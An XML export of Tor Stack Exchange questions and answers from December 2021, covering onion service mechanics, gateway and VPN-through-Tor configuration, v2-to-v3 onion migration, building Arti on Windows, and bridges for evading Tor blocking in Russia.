  <row Id="22938" PostTypeId="2" ParentId="22937" CreationDate="2021-12-08T05:48:05.257" Score="2" Body="&lt;p&gt;The general idea is that the client doesn't connect directly to the onion service. Instead, the client creates an anonymous circuit to a relay, the onion service creates its own anonymous circuit to the same relay, and the relay attaches/splices the two circuits together. So the onion service is actually making a TCP connection out to the Tor network, rather than having the Tor network make a TCP connection to the onion service. The Tor network itself doesn't really need to care about the onion service's IP address.&lt;/p&gt;&#xA;&lt;p&gt;A good summary of the process can be found in &lt;a href=&quot;https://github.com/torproject/torspec/blob/main/rend-spec-v3.txt#L387&quot; rel=&quot;nofollow noreferrer&quot;&gt;Section 1.1 &amp;quot;View from 10,000 feet&amp;quot;&lt;/a&gt; of the Tor Rendezvous Specification document.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-12-08T05:48:05.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22939" PostTypeId="1" CreationDate="2021-12-08T07:58:56.113" Score="0" ViewCount="205" Body="&lt;p&gt;I need to route traffic from multiple mobile apps and all sites through tor.&lt;/p&gt;&#xA;&lt;p&gt;Some apps and websites block tor traffic. For this reason, I decided to use tor and vpn together (vpn through tor). I know this may carry additional problems for anonymity, but I think it's reasonable compromise.&lt;/p&gt;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Gateway: Debian 11 live, installed tor, redsocks, nftables. 2 network interfaces: wifi connected to the internet, ethernet to workstation.&lt;/li&gt;&#xA;&lt;li&gt;Workstation: Debian 11 live, genymotion android emulator, tor browser, vpn client. 1 network interface: ethernet connected to the gateway&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I don't understand networking, security, etc., but the information I found on different sites says that separating the gateway and the workstation avoids some anonymity issues.&lt;/p&gt;&#xA;&lt;p&gt;I use debian live because I want to use amnesic os, but I have very old motherboards and can't run tails on this one.&lt;/p&gt;&#xA;&lt;p&gt;The gateway has the following settings:&lt;/p&gt;&#xA;&lt;p&gt;torrc&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 192.168.42.1:20080&#xA;DNSPort 192.168.42.1:10053&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;redsocks.conf&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;base {&#xA;    log_debug = off;&#xA;    log_info = on;&#xA;    log = stderr;&#xA;    daemon = off;&#xA;    redirector = iptables;&#xA;}&#xA;&#xA;redsocks {&#xA;    local_ip = 192.168.42.1;&#xA;    local_port = 10080;&#xA;    ip = 192.168.42.1;&#xA;    port = 20080;&#xA;    type = socks5;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;nftables&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;table inet filter { # handle 45&#xA;    chain input { # handle 1&#xA;        type filter hook input priority filter; policy accept;&#xA;        iifname &amp;quot;lo&amp;quot; counter packets 0 bytes 0 accept # handle 4&#xA;    }&#xA;&#xA;    chain forward { # handle 2&#xA;        type filter hook forward priority filter; policy accept;&#xA;    }&#xA;&#xA;    chain output { # handle 3&#xA;        type filter hook output priority filter; policy accept;&#xA;    }&#xA;}&#xA;table ip nat { # handle 46&#xA;    chain PREROUTING { # handle 1&#xA;        type nat hook prerouting priority filter; policy accept;&#xA;        iifname &amp;quot;enp2s0&amp;quot; tcp dport { 1-65500 } counter packets 0 bytes 0 dnat to 192.168.42.1:10080 # handle 3&#xA;        iifname &amp;quot;enp2s0&amp;quot; udp dport { 53 } counter packets 0 bytes 0 dnat to 192.168.42.1:10053 # handle 12&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;/etc/sysctl.conf&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;net.ipv4.ip_forward=1&#xA;net.ipv6.conf.all.forwarding=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To not route tor via tor, but to use the tor browser advantages (noscript, disabled webrtc, automatic cookie cleaning, etc.) I disabled the connection of the tor browser to the tor network by making the following settings in about:config&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extensions.torlauncher.start_tor = FALSE&#xA;network.dns.disabled = FALSE&#xA;network.proxy.socks_remote_dns = FALSE&#xA;network.proxy.type, 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As for vpn, I installed the client for ubuntu 20, not for debian, because it has a configured killswitch, and I could not configure this myself&lt;/p&gt;&#xA;&lt;p&gt;For me these settings work, all workstation traffic is routed through torus and vpn, but i would like to know&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are DNS leaks possible with such settings?&lt;/li&gt;&#xA;&lt;li&gt;Is it safe to run js in tor browser?&lt;/li&gt;&#xA;&lt;li&gt;Any tips and tricks on how can I improve my anonymity, what additional settings need to be made and what vulnerabilities are in the scheme I described?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I will be grateful for any advice.&lt;/p&gt;&#xA;" OwnerUserId="33735" LastActivityDate="2022-01-08T11:06:25.637" Title="VPN through Tor. Are there any errors in my settings and can anonymity be improved?" Tags="|anonymity|proxy|torsocks|vpn|ip-address-leak|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22940" PostTypeId="2" ParentId="15168" CreationDate="2021-12-08T13:42:07.847" Score="0" Body="&lt;p&gt;Just use QubesOS, clone the medium - and it will work out of the box. To make things running smoother - keep in mind that if you will use a router VM not of the disposable type(template-based) - clean the keys on a cloned machine before launching router VM, so Tor will generate new ones on startup and it will work just out of the box with all the rest of your settings&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-08T13:42:07.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22941" PostTypeId="1" CreationDate="2021-12-08T18:51:19.203" Score="0" ViewCount="309" Body="&lt;p&gt;may I please ask for help? My hidden service is now not working after years of using it. It is installed on ubuntu server. When I try to access it with tor browser, I now get &amp;quot;Invalid onion address&amp;quot;. From within server, I can connect with url and socks proxy to check.torproject.org, but I cannot connect to its own onion address.&lt;/p&gt;&#xA;&lt;p&gt;When I start tor service, there is error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec  8 19:37:47 acc-box2 Tor[606]: Guard kerneloopsRelay ($some_code) is failing to carry an extremely large amount of streams on its circuits. This could indicate a route manipulation attack, network overload, bad local network connectivity, or a bug. Use counts are 43/73. Success counts are 146/222. 213 circuits completed, 50 were unusable, 17 collapsed, and 7 timed out. For reference, your timeout cutoff is 60 seconds.&#xA;Dec  8 19:37:53 acc-box2 Tor[606]: Hidden service &amp;lt;name_od_service&amp;gt; exceeded launch limit with 10 intro points in the last 7 seconds. Intro circuit launches are limited to 10 per 300 seconds. [294 similar message(s) suppressed in last 300 seconds]&#xA;Dec  8 19:37:53 acc-box2 Tor[606]: Service configured in &amp;quot;/var/lib/tor/hidden_service/&amp;quot;:&#xA;Dec  8 19:37:53 acc-box2 Tor[606]:   Intro point 0 at [scrubbed]: circuit is open&#xA;Dec  8 19:37:53 acc-box2 Tor[606]:   Intro point 1 at [scrubbed]: no circuit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any advice how I can debug?&lt;/p&gt;&#xA;" OwnerUserId="33749" LastActivityDate="2021-12-08T21:42:40.570" Title="Cannot connect to tor hidden sevice on my server after years of use" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22942" PostTypeId="2" ParentId="3360" CreationDate="2021-12-08T19:12:50.230" Score="0" Body="&lt;p&gt;after make I get this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cc  -O3 -I/usr/include -I/usr/local/include -L/usr/lib -L/usr/local/lib  -Wall -o src/math.o -c src/math.c&#xA;src/math.c: In function ‘easygen’:&#xA;src/math.c:30:5: warning: ‘RSA_generate_key’ is deprecated [-Wdeprecated-declarations]&#xA;     rsa = RSA_generate_key(num, 3, NULL, NULL);&#xA;     ^~~&#xA;In file included from /usr/include/openssl/e_os2.h:13:0,&#xA;                 from /usr/include/openssl/bn.h:14,&#xA;                 from src/math.h:23,&#xA;                 from src/math.c:3:&#xA;/usr/include/openssl/rsa.h:234:1: note: declared here&#xA; DEPRECATEDIN_0_9_8(RSA *RSA_generate_key(int bits, unsigned long e, void&#xA; ^&#xA;src/math.c: In function ‘sane_key’:&#xA;src/math.c:67:17: error: dereferencing pointer to incomplete type ‘RSA {aka struct rsa_st}’&#xA;   BN_sub(p1, rsa-&amp;gt;p, BN_value_one()); // p - 1&#xA;                 ^~&#xA;src/math.c:78:10: error: dereferencing pointer to incomplete type ‘BIGNUM {aka struct bignum_st}’&#xA;   if(!chk-&amp;gt;neg)&#xA;          ^~&#xA;Makefile:44: recipe for target 'src/math.o' failed&#xA;make: *** [src/math.o] Error 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33749" LastActivityDate="2021-12-08T19:12:50.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22943" PostTypeId="2" ParentId="22941" CreationDate="2021-12-08T21:42:40.570" Score="2" Body="&lt;p&gt;You're probably using a v2 onion service. These v2 onion services are now deprecated and are no longer supported by the network for security and privacy reasons. You need to upgrade your v2 service to a v3 service.&lt;/p&gt;&#xA;&lt;p&gt;You can read more here: &lt;a href=&quot;https://support.torproject.org/onionservices/v2-deprecation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/onionservices/v2-deprecation/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-12-08T21:42:40.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22944" PostTypeId="2" ParentId="22939" CreationDate="2021-12-09T10:42:55.443" Score="0" Body="&lt;p&gt;The physical separation of the gateway and it's client(s) is a right thing to do for sure - it eliminates a lot of attack vector families, but your setup is wrong. On the gateway you need &lt;strong&gt;just&lt;/strong&gt; Tor and it should be set up according to your software list - this way:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor intermediate node&lt;/strong&gt; - it has open ORPort, utilizes UPNP NAT punch(optionally, but handy)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Firewall&lt;/strong&gt; - it allows &lt;strong&gt;no&lt;/strong&gt; traffic from ethernet interface except SSH and tor SOCKS5, HTTP, DNS and bridge&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Local bridge&lt;/strong&gt; - use obfs4 for your locally installed tor instance&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;No routing&lt;/strong&gt;! No packet forwarding - drop &lt;strong&gt;everything else&lt;/strong&gt; to avoid data and traffic leaks and to gain a full benefit from a physical separation of the gateway&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On your client:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;System-wide DNS config&lt;/strong&gt; - point it to the gateway's Tor DNS port, &lt;strong&gt;no search line in resolv.conf&lt;/strong&gt;! Just like that: &lt;code&gt;nameserver 10.0.0.1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;System-wide environment proxy settings&lt;/strong&gt; - point them to the gateway Tor's HTTP and SOCKS5s proxies via &lt;code&gt;HTTP_PROXY=...&lt;/code&gt; in a system global shell profile variables &lt;em&gt;and reboot the client to make sure it's applied before any usage&lt;/em&gt;!&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor browser&lt;/strong&gt; - add your local bridge by it's static IP as &lt;em&gt;the only one&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tor instance&lt;/strong&gt; - if you have it separately - same as Tor browser, be sure to set &lt;code&gt;ClientOnly 1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;VPN client&lt;/strong&gt; - point it to the gateway's Tor proxy that fits your client best, any normal client has either HTTP/HTTPS or SOCKS5 proxy support, pick the one you need&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Genymotion emulator&lt;/strong&gt; - you better use a connection properties and set the proxy server manually along with the static IP. Android bug/feature is that it's always using Google's DNS, it can be a problem on some old builds. If it's your case - just forward TCP &lt;strong&gt;and&lt;/strong&gt; UDP ports for 8.8.8.8 and 8.8.4.4 and 1.1.1.1(Amazon DNS, sometimes hardcoded into the applications) to your gateway's DNS port on the client side&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-09T10:42:55.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22946" PostTypeId="1" CreationDate="2021-12-10T20:23:48.983" Score="0" ViewCount="311" Body="&lt;p&gt;I open my Tor Browser and nothing happens: it immediately says &amp;quot;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;There is nothing in the error log file. It's empty.&lt;/p&gt;&#xA;&lt;p&gt;I tried reinstalling from scratch, it changed nothing. I tried reinstalling a very old version (7.0), but I still get the same error. I disabled my antivirus, firewall, everything. I never even touched my torrc file, I do not know what that is.&lt;/p&gt;&#xA;&lt;p&gt;I am on Windows 10.&lt;/p&gt;&#xA;&lt;p&gt;I did nothing special to trigger this behaviour (e.g. no updates).&lt;/p&gt;&#xA;" OwnerUserId="33759" LastActivityDate="2021-12-10T20:23:48.983" Title="Tor does not work since yesterday. There is no error log" Tags="|error|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22947" PostTypeId="2" ParentId="16723" CreationDate="2021-12-12T20:35:03.237" Score="0" Body="&lt;p&gt;Well, &lt;strong&gt;basically&lt;/strong&gt; you can use an Orbot app and just connect. But digging deeper with TCPDump and WireShark tools it's going to be an AOSP with a custom build with custom &lt;code&gt;iptables&lt;/code&gt; rules just right from the start - it's taking governance over the traffic a way more earlier than Orbot or &lt;em&gt;any&lt;/em&gt; app. If you need a fully sealed isolation - use a separate hardware box like on Raspberry Pi or Asus TinkerBoard - there's no other way to make it safe and secure&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-12T20:35:03.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22948" PostTypeId="1" CreationDate="2021-12-12T22:33:07.067" Score="0" ViewCount="137" Body="&lt;p&gt;My tor server stopped working vecause v2 has been deprecated. I could not get it into creating new v3 .onion address, so I uninstalled tor and installed again. Here is part of my torrc file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I would expect that when I start tor service (by &lt;code&gt;service tor start&lt;/code&gt;), it will generate new .onion address in file &lt;code&gt;/var/lib/tor/hidden_service/host&lt;/code&gt;, but it does not.&lt;/p&gt;&#xA;&lt;p&gt;In the log, there is entry&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Dec 12 23:26:42 acc-box2 systemd[1]: Starting Anonymizing overlay network for TCP (multi-instance-master)...&#xA;Dec 12 23:26:42 acc-box2 systemd[1]: Started Anonymizing overlay network for TCP (multi-instance-master).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but nothing about connecting to circuits. What can be wrong please?&lt;/p&gt;&#xA;" OwnerUserId="33749" LastActivityDate="2022-01-17T10:01:20.133" Title="Tor does not create new .onion address after reinstall to v3" Tags="|tor-install|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22949" PostTypeId="2" ParentId="22948" CreationDate="2021-12-14T00:40:16.550" Score="0" Body="&lt;p&gt;To enforce Tor to re-create the keys you need to make the target directory empty, that's how it works&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-14T00:40:16.550" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22950" PostTypeId="1" AcceptedAnswerId="22952" CreationDate="2021-12-15T10:16:39.353" Score="0" ViewCount="180" Body="&lt;p&gt;I have attempted to compile Arti (&lt;a href=&quot;https://gitlab.torproject.org/tpo/core/arti&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/arti&lt;/a&gt;) on Windows but I get:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;note: LINK : fatal error LNK1181: cannot open input file 'sqlite3.lib'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Does anyone know how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2022-12-01T10:07:46.307" Title="How to compile Arti on Windows?" Tags="|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22951" PostTypeId="1" CreationDate="2021-12-15T12:06:48.833" Score="2" ViewCount="233" Body="&lt;p&gt;Are there any plans to circumvent the block of TOR Network in Russia?&lt;/p&gt;&#xA;" OwnerUserId="33780" LastActivityDate="2022-01-23T01:04:15.557" Title="TOR Network blocked in Russia" Tags="|blocked-services|blocked|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22952" PostTypeId="2" ParentId="22950" CreationDate="2021-12-16T10:20:56.037" Score="0" Body="&lt;p&gt;It seems like one can follow: &lt;a href=&quot;https://github.com/dlang-community/d2sqlite3/issues/49#issuecomment-694725249&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/dlang-community/d2sqlite3/issues/49#issuecomment-694725249&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;1. Download source from [source](https://www.sqlite.org/download.html) (https://www.sqlite.org/download.html)&#xA;   For example: [source](https://www.sqlite.org/2020/sqlite-amalgamation-3310100.zip) `https://www.sqlite.org/2020/sqlite-amalgamation-3310100.zip`&#xA;&#xA;2. Download binary from [binary](https://www.sqlite.org/download.html)&#xA;   For example: [binary](https://www.sqlite.org/2020/sqlite-dll-win64-x64-3310100.zip) `https://www.sqlite.org/2020/sqlite-dll-win64-x64-3310100.zip`&#xA;&#xA;3. Extract both archives to the same directory&#xA;&#xA;4. Open **Developer Command Prompt for VS 2017** by typing _Developer Command_ in Windows Search&#xA;&#xA;5. Go to directory where you've extracted **source code** and **binary** files (via opened cmd)&#xA;&#xA;6. Run&#xA;   `lib /DEF:sqlite3.def /OUT:sqlite3.lib /MACHINE:x64`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and just copy &lt;code&gt;sqlite3.lib&lt;/code&gt; to &lt;code&gt;arti&lt;/code&gt; folder and then &lt;code&gt;cargo build&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="32242" LastActivityDate="2021-12-16T10:20:56.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22953" PostTypeId="2" ParentId="4125" CreationDate="2021-12-16T18:57:59.087" Score="0" Body="&lt;p&gt;On Windows 10 I installed Mozilla Firefox, opened the Firefox folder, copied all files from Tor Browser there and selected Firefox as default browser. Its not perfect, works though,&lt;/p&gt;&#xA;" OwnerUserId="33786" LastActivityDate="2021-12-16T18:57:59.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22956" PostTypeId="1" CreationDate="2021-12-17T10:05:53.823" Score="1" ViewCount="114" Body="&lt;p&gt;i read in another post &amp;quot;Onion services do not use exits and are end-to-end encrypted. They don't need HTTPS for its encryption and its impossible for connections to be man-in-the-middled.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I get that the onion connection itself is end to end encrypted but it can serve clearnet content, like regular http stuff - wouldn't this then cause the browser to make an independent request, cross origin request to some clearnet resource? and thus introduce using the TOR for clearnet violation? Because obviously the onion service itself wouldn't proxy through the request as this would be not scalable, and therefore each browser itself would have to make its own request.&lt;/p&gt;&#xA;" OwnerUserId="6954" LastActivityDate="2022-01-16T22:03:50.320" Title="would this break onion security? serving clearnet resources from an onion site to force visitors to go through exit nodes" Tags="|onion-services|clear-net|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22957" PostTypeId="2" ParentId="22956" CreationDate="2021-12-17T21:43:19.197" Score="0" Body="&lt;p&gt;It would break security for the server, but not the client.&lt;/p&gt;&#xA;&lt;p&gt;A normal connection between a client and an onion server is two Tor chains: one from the client to the rendezvous point, and one from the server to the rendezvous point.  This provides privacy for both parties: the client can't figure out who the server is, and the server can't figure out who the client is.&lt;/p&gt;&#xA;&lt;p&gt;What you propose would eliminate the server's Tor chain.  The client's privacy is still protected through the use of Tor (the connection to the server is now through an exit node rather than a rendezvous point), but the client can now figure out who the server is.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-12-17T21:43:19.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22958" PostTypeId="1" CreationDate="2021-12-18T08:02:56.860" Score="0" ViewCount="748" Body="&lt;p&gt;I did setup and V3 hidden service for ssh but I'm not able to connect to the server through tor. When I run &lt;code&gt;torify ssh USER@MYHIDDENSERVICEADDRESS.onion&lt;/code&gt;I get the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1639811611 ERROR torsocks[44305]: General SOCKS server failure (in socks5_recv_connect_reply() at socks5.c:527)&#xA;ssh: connect to host MYHIDDENSERVICEADDRESS.onion port 22: Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't know why it's not working. I added the authentication file to &lt;code&gt;var/lib/tor/hidden_service_ssh/USER/authorized_clients&lt;/code&gt; and also configured &lt;code&gt;/var/lib/tor/onion_auth&lt;/code&gt; according to &lt;a href=&quot;https://matt.traudt.xyz/posts/creating-private-v3-FgbdRTFr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt; (which worked for another hidden service).&lt;/p&gt;&#xA;&lt;p&gt;I read somewhere that torsocks is depreciated since hidden service V3 but I'm not sure how to deal with it if that is the case.&lt;/p&gt;&#xA;" OwnerUserId="33799" LastActivityDate="2022-02-26T01:03:15.317" Title="Not able to ssh over tor" Tags="|onion-services|torsocks|ssh|torify|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22959" PostTypeId="2" ParentId="22948" CreationDate="2021-12-18T09:16:30.377" Score="0" Body="&lt;p&gt;I had to solve things in the strange way. It looks like when I uninstalled tor v2 the &lt;code&gt;libevent-2.1.so.6&lt;/code&gt; got wiped out. Probably by my other actions. When I reinstalled tor and I was trying to reinstall libevent, other versions were installed, like &lt;code&gt;libevent-2.2.so.1&lt;/code&gt;, but tor was still complaining about missing &lt;code&gt;libevent-2.1.so.6&lt;/code&gt;. Fortunately I found it in old backup and I just copied it to &lt;code&gt;/usr/lib/x86_64-linux-gnu/&lt;/code&gt;. The tor from the command line started to work, but it did not work as a service. I think I fixed that by changing owner of &lt;code&gt;hidden_service&lt;/code&gt; directory to debian-tor. Then service started to work after I restarted computer. Hope this will help someone, it took me four evenings to fix.&lt;/p&gt;&#xA;" OwnerUserId="33749" LastActivityDate="2021-12-18T09:16:30.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22961" PostTypeId="2" ParentId="15893" CreationDate="2021-12-19T08:37:48.547" Score="0" Body="&lt;p&gt;@user1133275  me too!&lt;/p&gt;&#xA;&lt;p&gt;rm -r ~/Library/Application\ Support/TorBrowser-Data&lt;/p&gt;&#xA;&lt;p&gt;working&lt;/p&gt;&#xA;" OwnerUserId="33805" LastActivityDate="2021-12-19T08:37:48.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22962" PostTypeId="2" ParentId="22916" CreationDate="2021-12-22T03:54:13.037" Score="1" Body="&lt;p&gt;It's still the same. There are still &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:Authority&quot; rel=&quot;nofollow noreferrer&quot;&gt;9 Directory Authorities&lt;/a&gt; (serge is bridge authority) that generate consensuses&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-12-22T03:54:13.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22963" PostTypeId="1" CreationDate="2021-12-22T13:40:34.313" Score="1" ViewCount="205" Body="&lt;p&gt;I want to onionshare a file from a pc running tails that is behind a firewall. The firewall currently forwards a couple of ports to a webserver on a different device, but blocks all others. Everything looks OK, but then if I try to access the shared file from a browser I get an error message&lt;/p&gt;&#xA;&lt;p&gt;This site can’t be reached, page may be down or site moved, ERR_SOCKS_CONNECTION_FAILED&lt;/p&gt;&#xA;&lt;p&gt;Experimenting further - the TOR browser on the same machine can see the shared file but the TOR browswer on another machine cannot. Sharing from another machine (using the latest onionshare) its files can be seen by itself and by the tails machine.&lt;/p&gt;&#xA;&lt;p&gt;I notice the Tails version of onionshare is not the latest...&lt;/p&gt;&#xA;" OwnerUserId="33827" LastEditorUserId="33827" LastEditDate="2021-12-22T14:35:45.777" LastActivityDate="2021-12-22T16:04:43.767" Title="How do I configure my router to allow a tor connection into onionshare?" Tags="|tails|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22964" PostTypeId="2" ParentId="22963" CreationDate="2021-12-22T16:04:43.767" Score="1" Body="&lt;p&gt;My Tails hadn't upgraded to the latest version - the version I was running used the old style, short, onion addresses.&lt;/p&gt;&#xA;" OwnerUserId="33827" LastActivityDate="2021-12-22T16:04:43.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22965" PostTypeId="2" ParentId="22951" CreationDate="2021-12-24T00:23:35.253" Score="0" Body="&lt;p&gt;Yes, Working on it and on step-by-step and automated solution. Most of the locks are implemented on the ISP-provided and managed home routers for end users. Here is the first proven steps that are working in a real field:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use OpenWRT&lt;/strong&gt; - you can find a router or you're already &lt;em&gt;own&lt;/em&gt; one and can re-flash it. Stock firmware uses to succumb to the filtering. You have to have 2+ ARM cores and 512Mb+ on your router with the storage. Just re-flashing &lt;em&gt;works&lt;/em&gt; in 75%+ of the cases. &lt;strong&gt;You can not re-flash the router provided by your ISP&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Rise your very own Tor bridge&lt;/strong&gt; and mark it as unpublished. Use Obfs4 - China's censorship seniors are coming here since 2010 even for an official conferences and ZTE and Huawei are promotion is supported by the government, so it's a must to make abridge for yourself and your friends&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use diverse Mesh and Darknet nodes&lt;/strong&gt; - it will be very hard to block it all &lt;em&gt;properly&lt;/em&gt; aggregated to help esch other. I'm field testing this link since 2016, now it looks like it's time to make a first public kit. The basic components used are: Yggdrasil, Tor, I2P and ZeroNet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;More updates soon(I hope) on my Facebook and direct channels - or drop me a line if you need it here&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-12-24T00:23:35.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22967" PostTypeId="1" AcceptedAnswerId="22975" CreationDate="2021-12-25T21:25:51.140" Score="0" ViewCount="3840" Body="&lt;p&gt;There is the following non working URL: &lt;code&gt;http://jamie3vkiwibfiwucd6vxijskbhpjdyajmzeor4mc4i7yopvpo4p7cyd.onion/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I open Tor binary and route a GET request through it I receive:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;socks connect tcp 127.0.0.1:9050-&amp;gt;jamie3vkiwibfiwucd6vxijskbhpjdyajmzeor4mc4i7yopvpo4p7cyd.onion:80: unknown error host unreachable&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, when I open Tor Browser and do the same, I receive more detailed information:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Details: 0xF0 — The requested onion service descriptor can't be found on the hashring and therefore the service is not reachable by the client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How can I access the same level of verbosity for a standalone Tor binary?&lt;/p&gt;&#xA;" OwnerUserId="32826" LastActivityDate="2022-01-02T20:07:08.230" Title="How to access Tor's request error logs?" Tags="|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22969" PostTypeId="2" ParentId="22919" CreationDate="2021-12-28T09:56:21.247" Score="1" Body="&lt;p&gt;I haven't checked, but you can try this &lt;a href=&quot;https://www.ghacks.net/2018/11/26/can-you-use-the-tor-browser-without-tor-connection/#comment-4509260&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ghacks.net/2018/11/26/can-you-use-the-tor-browser-without-tor-connection/#comment-4509260&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33856" LastActivityDate="2021-12-28T09:56:21.247" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
